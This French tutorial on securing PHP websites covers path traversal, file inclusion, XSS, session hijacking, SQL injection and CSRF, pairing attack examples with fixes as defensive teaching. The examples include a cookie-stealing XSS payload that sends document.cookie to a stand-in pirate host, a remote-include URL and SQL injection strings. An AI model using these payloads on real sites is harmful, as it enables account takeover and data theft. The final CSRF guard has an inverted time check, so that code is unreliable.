Cet article vous présentera les conseils de base à respecter afin de pouvoir sécuriser son site internet contre les principales failles web.
Chaque type de failles sera accompagné d'au moins un exemple afin de vous permettre de mieux comprendre son fonctionnement et la nécessité à s'en protéger.
Tout d'abord, si je peux vous donner quelques conseils à toujours respecter :
C'est la faille la plus connue. N'importe quel utilisateur peut changer une variable se trouvant dans l'URL.
Prenons pour exemple une page qui affiche la page d'accueil ou l'espace admin en fonction du paramètre admin
:
1 http://www.abc.fr/index.php?admin=1
J'ai donné ici un exemple basique, mais prenons maintenant un exemple un peu plus répandu :
1 http://www.abc.fr/images.php?dir=images_2013
Cette page est censée lister les images du dossier images_2013
. Or ce chemin est passé en paramètre : l'utilisateur peut alors tout à fait le modifier pour en venir à :
1 http://www.abc.fr/images.php?dir=../admin/
Il aura alors la liste de vos fichiers d'administration et en fonction du type de l'affichage, il pourra peut-être même voir leurs contenus (mot de passe de la base de données, ...).
Pour éviter ce genre de problème :
1 if (!in_array($_GET["dir"], array("images_2013", "images_2012", "images_noel"))) 2 exit();
S'il y a plus de dossiers ou que vous souhaitez faire quelque chose de dynamique, il faudra alors faire une fonction qui permet de vérifier que votre paramètre est correct, et qu'il souhaite accéder à un espace autorisé. Une fonction PHP qui peut être utile dans ce cas : basename. Elle permet de retourner le nom du fichier dans un chemin : ../../mon/dossier/fichier.png
retournera fichier.png
. Cela permet donc de ne pas changer l’arborescence (c'est déjà un bon début, mais pas suffisant !).
C'est une faille extrêmement simple, mais beaucoup de sites y sont vulnérables.
Cette faille dépend de la faille URL. Voyons directement un exemple :
1 http://www.abc.fr/index.php?page=contact.php
Qui est censé dans votre code inclure la page contact.php
:
1 include($_GET["page"]);
En fonction du type d'inclusion (include, filegetcontents, echo, ...), l'utilisateur peut faire deux types d'attaques :
1 http://www.abc.fr/index.php?page=config.php 2 http://www.abc.fr/index.php?page=../admin/index.php
1 http://www.abc.fr/index.php?page=http://www.pirate.fr/hack.php
Ce fichier hack.php
pourra effectuer tout un tas d'actions (supprimer vos fichiers, vous espionner, récupérer votre site entier, accéder à vos dossiers perso, ...).
Pour corriger ce problème :
1 if (!in_array($_GET["page"], array("contact", "mentions_legales", "plan"))) 2 exit();
Attention ...
1 http://www.abc.fr/index.php?page=menu 2 ------ 3 include($_GET["page"] . ".php");
... n'est pas mieux !
1 http://www.abc.fr/index.php?page=config 2 http://www.abc.fr/index.php?page=../admin/index 3 http://www.abc.fr/index.php?page=http://www.pirate.fr/hack
Passons maintenant à quelques failles un peu moins connues, mais qui peuvent être tout aussi intéressantes et dangereuses.
Ne surtout pas laisser accessible votre fichier .htpasswd (par exemple via la faille URL : ?directory=../../.htpasswd
). Tout dépends de l'algorithme qui a été utilisé pour chiffrer/hasher votre mot de passe à l'intérieur de ce fichier.
Au mieux, votre mot de passe est hashé (MD5, SHA-1), il faudra alors au hacker faire une attaque par dictionnaire (ou si vous utilisez un mot de passe trop commun comme 1234, rechercher sur Google).
S'il n'est pas hashé, soit il est chiffré (et donc possible de le déchiffrer), soit il est affiché en clair.
Si votre visiteur accède à ce fichier, il pourra très certainement outrepasser votre protection !
Une faille plus intéressante maintenant, la propriété limit (Apache) :
1 <Limit GET POST> 2 Deny from all 3 </Limit>
Ce code (proposé sur de nombreux sites !) ne permet de restreindre que les types GET et POST.
Le visiteur a donc tout à fait la possibilité d'envoyer un requête XXXX
par exemple. Il aura alors accès à votre espace protégé sans devoir entrer de mot de passe.
Pour envoyer un requête XXXX
, on utilise souvent des plugins pour le navigateur. Il est aussi possible de le faire en ligne de commande (linux) grâce à netcat :
1 $> netcat www.abc.fr 80 2 XXXX / HTTP/1.1 3 Host:www.abc.fr
Les 2 retours à la ligne à la fin permettant d'envoyer la requête.
Pour corriger cette faille, il vous suffit de supprimer les 2 lignes englobant le Deny from all
.
Cette faille peut à première vue ne pas sembler dangereuse. Je vous donnerez plusieurs exemples en fur et à mesure de l'article vous prouvant le contraire.
Tout d'abord, qu'elle est le principe de cette faille ?
Le XSS (Cross-Site Scripting) permet d'injecter du code dans la page. Le code peut très bien être placé dans l'URL :
1 http://www.abc.fr/index.php?nom=Accueil 2 http://www.abc.fr/index.php?nom=<script>alert("hack")</script>
Mais aussi être incrusté dans votre site (système de commentaires, forum, ...) grâce par exemple aux BBCodes :
1 [image]javascript:<script>alert("hack")</script>[/image]
Certains pensent alors à supprimer <script>
:
1 $texte = str_replace("<script>", "",$texte);
Mais n'est donc pas protégé par :
1 <scr<script>ipt>alert("hack")</scr<script>ipt>
... on obtient bien ce que l'on souhaitait.
De plus, il n'y a pas que la balise script qui permet de lancer des scripts JavaScript, comme dans l'exemple ci-dessus avec le BBCode Image :
1 <img src="javascript:alert('hack')"/>
Ou on peut très bien utiliser onmouseover, onload, ... sur n'importe quelle balise. On peut aussi très bien encoder le texte :
1 Base : 2 <script>alert("test")</script> 3 4 En décimal : 5 <script>alert("test")</script> 6 7 Ou en hexadécimal : 8 <script>alert("test")</script>
Ces codes sont équivalents. Pour encoder il existe plusieurs outils sur le web : http://ha.ckers.org/xsscalc.html.
Vous trouverez pas mal de techniques pour faire des attaques XSS sur : https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet.
Pour se protéger, il faut vérifier toutes les données de l'utilisateur (les variables qui passent dans l'URL, ...) et surtout, encoder les caractères à l'affichage, avec par exemple la fonction PHP : htmlspecialchars.
Vous pouvez aussi utiliser des moteurs de template, tel que Twig, qui font la même chose, mais qui permettent d'ajouter du contenu dynamique plus facilement.
Pour le moment, il y a juste une fenêtre qui s'ouvre nous envoyant le message hack
. Pas très utile pour le coup, mais on peut très bien rediriger tous les visiteurs de votre site sur une autre adresse ; récupérer toutes les adresses IP de vos visiteurs ainsi que leurs pseudos, mails, informations personnelles, ... s'ils sont connectés ; récupérer les cookies de vos visiteurs : nous allons voir l'utilité dans le prochain paragraphe.
Pour commencer, une faille cookie toute simple : un cookie admin
à 1 ou 0. Un cookie peut être modifié très facilement par les utilisateurs (plugins navigateur), et donc n'importe qui pourrait devenir admin en quelques secondes sur votre site. Utiliser plutôt les sessions.
Il m'est déjà arrivé de rencontrer un site qui, pour maintenir la connexion de ses utilisateurs, ajoutait leur user_id dans un cookie, et s'il n'était pas connecté et que ce cookie existait, il connectait automatiquement le compte. N'importe qui pouvait donc en modifiant ses cookies se connectés au compte de n'importe qui.
Si vous souhaitez faire un système qui reconnecte vos utilisateurs, sauvegarder le user_id
et un hash (MD5, SHA-1, ...) aléatoire associé temporairement. Si l'utilisateur n'est pas connecté, alors connecté user_id si le hash correspond à celui associé à ce compte dans la BDD par exemple. Attention cependant à changer ce hash à chaque connexion, ou un vol de cookie (via la faille XSS par exemple) permettrait à n'importe qui de se connecter quand même.
Pour votre système d'utilisateurs, vous devez très certainement utiliser les sessions (je vous le recommande d'ailleurs). En fait, pour que le serveur sache à qui appartient la session, vous devez avoir un cookie PHPSESSID, qui contient une chaîne aléatoire : c'est votre id de session. Si vous le changez, vous ne serez plus connecté. Mais si vous le passez à une autre personne, il sera connecté comme vous l'êtes actuellement. Il y a deux solutions pour un pirate dans ce cas-là :
1 http://www.monsite.com/index.php?name=<script>window.open("http://www.pirate.fr/index.php?cookie="%2Bdocument.cookie)</script>
Si vous êtes admin, et que vous fournissez votre session à un pirate, il sera alors connecté sur votre espace admin.
1 http://monsite.fr/index.php?PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXX
Il n'a plus qu'à attendre que de votre côté vous vous connectiez à l'espace admin, et il le sera automatiquement lui aussi.
Il n'y a pas vraiment de protection contre la récupération de votre PHPSESSID : vous devez simplement empêcher quiconque de regarder vos cookies, et donc vous protéger contre les failles XSS.
Pour le deuxième point (on appelle cette méthode la fixation), vous pouvez dans la config de PHP passer session.uses-only-cookie à 1 (php.ini). Cela empêche de modifier l'id de la session depuis le paramètre GET. Une deuxième protection serait d'utiliser la fonction sessionregenerateid à chaque fois que vous vous connectez. Cette fonction a pour effet de générer un nouveau PHPSESSID. De plus, si vous passez true en paramètre, l'ancien PHPSESSID sera supprimé.
Ajouter un système d'upload sur votre site n'est pas toujours facile, il faut bien penser à tout sécuriser :
./files/
, il va s'enregistrer à la racine : la protection que vous aurez mis sur le dossier files
ne sera donc pas appliquée à ce fichier.xxxxxx.png
n'est pas forcément une image. Pour cela, il faut vérifier le Content-Type du fichier. Le navigateur de l'utilisateur vous envoi le Content-Type du fichier, mais ce n'est pas une source sûr ! Une fois de plus, avec des addons, il peut très bien modifier le Content-Type à envoyer. Pour le vérifier, utiliser la librairie finfo :1 $finfo = finfo_open(FILEINFO_MIME_TYPE); 2 $content_type = finfo_file($finfo, $_FILES['photo']['tmp_name']); 3 if (in_array($content_type, array("image/png", "image/jpg", "image/jpeg", "image/gif"))) 4 { 5 // Content-Type correct 6 }
La plupart des informations présentes dans les headers de la page ne sont pas sûres.
Le navigateur, le referer, ... ne sont pas des informations sûres, n'en tenez pas compte pour protéger votre site.
L'adresse IP ne peut pas être modifié (c'est l'adresse où la page a été demandée). Mais si vous bannissez l'IP d'une personne, sachez qu'elle pourra toujours revenir, en passant par des proxy ou des VPN. Ce ne sera pas la même adresse IP, mais ce sera bien la même personne.
Pour les uploads, comme je vous l'ai dit plus haut, il ne faut pas se fier non plus aux informations fournies (Content-Type, ...).
Lorsque vous intéragissez avec votre base de données, vous envoyer ce que l'on appelle des requêtes. Si vous souhaitez récupérez le contenu d'un article, vous allez surement faire une requête du style :
1 $req = "SELECT id, nom, description, contenu FROM articles WHERE id = " . $_GET['id_article'];
Cet id_article
est censé être un nombre, mais imaginez qu'à la place, votre utilisateur envoi :
1 1 UNION SELECT id, user, password, mail FROM users
On obtiendrait alors cette requête :
1 SELECT id, nom, description, contenu FROM articles WHERE id = 1 UNION SELECT id, user, password, mail FROM users
Qui du coup, en plus d'afficher votre article, affichera la liste des utilisateurs avec leurs mots de passes et leurs E-Mails.
Un autre type d'injection SQL est lors de la connexion :
1 $req = "SELECT id FROM users WHERE AND user = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "' LIMIT 1";
Si l'utilisateur envoi :
1 Cas 1 : 2 POST['user'] = ' OR '1' = '1 3 POST['pass'] = ' OR '1' = '1 4 5 Cas 2 : 6 POST['user'] = admin 7 POST['pass'] = ' OR 1 = 1#
On obtiendra :
1 Cas 1 : 2 SELECT id FROM users WHERE AND user = '' OR '1' = '1' AND password = '' OR '1' = '1' LIMIT 1 3 4 Cas 2 : 5 SELECT id FROM users WHERE AND user = 'admin' AND password = '' OR 1 = 1#' LIMIT 1
Vu que 1 = 1
est toujours vrai, dans les deux cas l'utilisateur va être connecté.
Remarque : #
permet de mettre la suite de la requête en commentaire.
Vous l'aurez compris, pour se protéger contre cette faille, il faut échapper les caractères spéciaux des chaînes. La meilleure solution est d'utiliser les requêtes préparées. Je vous donne un exemple d'une requête préparée en PDO (PHP) :
1 $query = $bdd->prepare('SELECT id 2 FROM users 3 WHERE nom = :nom 4 AND password = :password 5 LIMIT 1'); 6 $query->bindValue(':nom', $_POST["user"], PDO::PARAM_STR); 7 $query->bindValue(':password', sha1($_POST["password"]), PDO::PARAM_STR); 8 $query->execute(); 9 $result = $query->fetchColumn();
Les Register_globals sont supprimés de PHP depuis la version 5.4.
Cette option permet de créer automatiquement les paramètres en variables.
Si vous allez sur http://www.abc.fr/index.php?admin=1
, alors une variable $admin
sera créée et initialisée à 1.
Du coup si la page ci-dessus est :
1 if (is_admin()) // Fonction permettant de vérifier que l'utilisateur est connecté en tant qu'admin 2 $admin = 1; 3 4 if ($admin) 5 //...
Vous serez connecté, même si la fonction is_admin
a retourné false
.
On va avoir accès à l'espace admin.
Pour pallier à ce problème, vous pouvez désactiver les Register_globals, mais vous pouvez (devriez) aussi initialiser vos variables :
1 $admin = 0; 2 if (is_admin()) // Fonction permettant de vérifier que l'utilisateur est connecté en tant qu'admin 3 $admin = 1; 4 5 if ($admin) 6 //...
La faille CSRF (Cross-Site Request Forgery) permet de forcer l'exécution d'une page à un visiteur.
Imaginez que dans votre espace d'admin, pour supprimer un article de votre blog, il suffise de visiter :
1 http://www.monsite.com/admin/blog.php?delete=5
Vous vous dites, pas de soucis, seuls ceux connectés en tant qu'admin pourront supprimer l'article, et vous aurez raison (enfin en admettant que le reste de votre site soit sécurisé).
Mais si maintenant un pirate vous force à visiter cette page ? Prenons l'exemple d'un commentaire sur votre site, ou même un forum quelconque sur internet, où le pirate poste un message en ajoutant une image (BBCode Img) :
1 [img]http://www.monsite.com/admin/blog.php?delete=5[/img]
Lors de votre visite sur la page où se trouve ce message, votre navigateur va demander à charger l'image, et va donc appeler la page. Vous serez surement encore connecté, et donc l'article sera supprimé sans que vous vous en rendiez compte.
J'ai pris ici l'exemple de la suppression d'un article, mais cette technique est valable pour n'importe quelle action :
1 http://www.monsite.com/vote.php?pour=aurelien 2 => Tout les utilisateurs accédant au message vont charger cette page, et vont donc tous voter pour Aurélien. :)
Pour se protéger contre cette faille, il va falloir vérifier que c'est bien le bon utilisateur qui exécute cette action.
Le principe de cette protection est de générer un long numéro aléatoire (censé être unique) avant l'action, et de vérifier au moment de l'action que ce numéro est correct.
1 $token = md5(uniqid(rand(), true)); 2 $_SESSION['token'] = $token; 3 $_SESSION['token_time'] = time();
1 http://www.monsite.com/admin/blog.php?delete=5 2 ... devient donc : 3 http://www.monsite.com/admin/blog.php?delete=5&token=c6eb512d840ee236950ab17c6c128ec5
Il faut donc ensuite ajouter une vérification supplémentaire avant d'exécuter l'action :
1 if ($_GET['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300) 2 { 3 // Exécution de l'action 4 }
Je n'ai montré des exemples que par la méthode GET, mais la méthode POST est tout aussi dangereuse. Le principe est exactement le même.
Je vous conseille d'ailleurs de n'exécuter que des actions via les méthodes POST. Selon moi, les méthodes GET sont là pour aller chercher la bonne page a exécutée, et les méthodes POST pour faire des actions.
Si vous ne souhaitez pas faire cette vérification à chaque action ou si vous avez peur de l'oublier pour une action, vous pouvez très bien ajouter ce code au tout début de vos pages :
1 if (!isset($_POST['token']) || !isset($_SESSION['token']) || !isset($_SESSION['token_time']) || $_POST['token'] != $_SESSION['token'] || time() - $_SESSION['token_time'] <= 300) 2 $_POST = array();
Afin de se protéger au maximum de cette faille, je vous conseille de générer un nouveau token dès qu'une action a été effectuée.
J'espère que cet article vous a plu. Je pense avoir fait le tour des principales failles web.
Si vous avez à l'esprit une faille web qui vous semble importante, n'hésitez pas à ajouter un nouveau commentaire.